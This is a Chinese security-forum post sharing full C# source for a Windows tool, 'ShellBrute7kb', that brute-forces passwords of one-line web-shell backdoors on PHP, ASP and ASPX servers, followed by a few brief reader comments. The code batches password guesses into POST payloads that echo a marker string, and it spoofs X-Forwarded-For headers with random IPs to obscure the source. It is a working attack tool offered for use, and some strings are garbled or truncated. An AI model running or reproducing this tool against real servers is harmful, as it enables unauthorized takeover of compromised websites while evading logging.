Web一句话后门密码检测工具源码

avnapsivjapi / 2017-01-19 12:45:00 / 浏览数 3562 安全工具 工具 顶(0) 踩(0)

所以想来先知社区和大家共同讨论 共同提高 以后我会继续秉承共享 免费的精神与大家共同学习

下面附上主要源码以及完整项目文件 代码渣 大牛勿喷 多多指点小弟

```
using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.IO;

using System.Net;

using System.Text;

using System.Text.RegularExpressions;

using System.Windows.Forms;

namespace ShellBrute7kb

{

   public partial class Form1 : Form

   {

       public Form1()

       {

           InitializeComponent();

       }

       //echo (key($_POST));

       string aaa = "";

       bool checkok = true;

       private void buttonGo_Click(object sender, EventArgs e)

       {

           textBoxRes.Clear(); aaa = ""; checkok = true;

           if (Uri.IsWellFormedUriString(textBoxUrl.Text.Trim(), UriKind.Absolute))

           {

               string[] pwd = ReadPwdFile.ReadFile();

               #region ■■■■

               int fenzucount = Convert.ToInt16(textBoxfenzuCount.Text);

               int shang = pwd.Length / fenzucount;
```

```
int yu = pwd.Length % fenzucount;
textBoxRes.Text = "■■■■ ■■■■"+(shang+1).ToString()+"■ ■■"+textBoxfenzuCount.Text+"■\r\n";
for (int i = 0; i < shang; i++)
{
    for (int a = i *fenzucount; a < i *fenzucount + fenzucount; a++)
    {
        if (radioButtonPhp.Checked)
        {
            aaa = aaa + "&" + pwd[a] + "=echo '7kbscan|" + pwd[a] + "|';";
        }
        if (radioButtonAsp.Checked)
        {
            aaa = aaa + "&" + pwd[a] + "=Response.Write(\"7kbscan|" + pwd[a] + "|\")";
        }
        if (radioButtonAspx.Checked)
        {
            aaa = aaa + "&" + pwd[a] + "=Response.Write(\"7kbscan|" + pwd[a] + "|\");";
        }
    }
    textBoxRes.Text = textBoxRes.Text + "■■■" + i + "■■■■■\r\n";
   string res= StartBrute(aaa);
   if (res != null)
    {
        textBoxRes.Text = textBoxRes.Text + "■■■" + res.Replace("7kbscan|","").Replace("|","");
        checkok = false;
        break;
    }
}
if (yu!=0&&checkok)
{
    for (int i = shang * fenzucount; i < pwd.Length; i++)
    {
        if (radioButtonPhp.Checked)
        {
```

```
                    aaa = aaa + "&" + pwd[i] + "=echo '7kbscan|" + pwd[i] + "|';";
                }
                if (radioButtonAsp.Checked)
                {
                    aaa = aaa + "&" + pwd[i] + "=Response.Write(\"7kbscan|" + pwd[i] + "|\")";
                }
                if (radioButtonAspx.Checked)
                {
                    aaa = aaa + "&" + pwd[i] + "=Response.Write(\"7kbscan|" + pwd[i] + "|\");";
                }
            }
            textBoxRes.Text = textBoxRes.Text + "[redacted]\r\n";
            string res = StartBrute(aaa);
            if (res != null)
            {
                textBoxRes.Text = textBoxRes.Text + "[redacted]" + res.Replace("7kbscan|", "").Replace("|", "");
                checkok = false;
            }
        }
        #endregion
    }
    else
    {
        MessageBox.Show("URL[redacted]");
    }
    if (checkok)
    {
        textBoxRes.Text = textBoxRes.Text + "[redacted] [redacted]";
    }
}
public string StartBrute(object par)
{
    try
    {
        string content = GetContent(textBoxUrl.Text.Trim(), par.ToString().Substring(1));
```

```
        if (content.IndexOf("7kbscan") != -1)
        {
            Regex RegexGetPwd = new Regex("7kbscan|(.+?)|");
            string ssad = RegexGetPwd.Match(content).ToString();
            return RegexGetPwd.Match(content).ToString();
        }
        aaa = "";
        return null;
    }
    catch (Exception ex)
    {
        return null;
    }
}
public string GetContent(string url, string par)
{
    try
    {
        Random random = new Random();
        string XForwardedForAndXReadIP = random.Next(1, 255) + "." + random.Next(1, 255) + "." + random.Next(1, 255) +
        HttpWebRequest MyHttpRequest = (HttpWebRequest)WebRequest.Create(url);
        MyHttpRequest.Method = "POST";
        MyHttpRequest.Referer = url;
        MyHttpRequest.Accept = "text/html, application/xhtml+xml, image/jxr, /";
        MyHttpRequest.Headers.Add("Accept-Language", "en-US, en; q=0.8, zh-Hans-CN; q=0.5, zh-Hans; q=0.3");
        MyHttpRequest.KeepAlive = true;
        MyHttpRequest.Timeout = Convert.ToInt32(textBoxTimeOut.Text.Trim());
        MyHttpRequest.ContentType = "application/x-www-form-urlencoded";
        MyHttpRequest.Headers.Add("X-Forwarded-For", XForwardedForAndXReadIP);
        MyHttpRequest.Headers.Add("X-Read-IP", XForwardedForAndXReadIP);
        MyHttpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
        byte[] data = Encoding.ASCII.GetBytes(par);
        MyHttpRequest.ContentLength = data.Length;
        using (Stream reqStream = MyHttpRequest.GetRequestStream())
```

```
                {
                    reqStream.Write(data, 0, data.Length);
                }
                HttpWebResponse MyHttpResult = (HttpWebResponse)MyHttpRequest.GetResponse();
                Stream ReceviceStream = MyHttpResult.GetResponseStream();
                using (StreamReader ReaderOfStream = new StreamReader(ReceviceStream, System.Text.Encoding.GetEncoding("utf-8"))
                {
                    return ReaderOfStream.ReadToEnd();
                }
            }
            catch (Exception ex)
            {
               // MessageBox.Show(ex.Message);
                textBoxRes.Text = textBoxRes.Text + ex.Message+"\r\n";
                return null;
            }
        }
        private void buttonClear_Click(object sender, EventArgs e)
        {
            textBoxUrl.Text = "";
            textBoxRes.Text = "";
        }
    }
}
```

完整项目下载地址

ShellBrute7kb.rar (0.0 MB) 下载附件

上一篇：先知众测向你发出一个新年挑战~ 下一篇：老洞新姿势，记一次漏洞挖掘和利用(...

1. 4 条回复


aa 2017-01-19 13:17:02

喜欢楼主这样的

0 回复Ta


avnapsivjapi 2017-01-19 13:23:51

自己先评论一下 asp和aspx那块代码重复了 其实可以省几行 因为post的参数内容都一样

0 回复Ta


asdpppp 2017-01-20 12:53:35

感谢,知识在于分享，一起进步。

0 回复Ta

 hades 2017-01-21 15:03:09

欢迎7kb的原创作者 哈哈

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板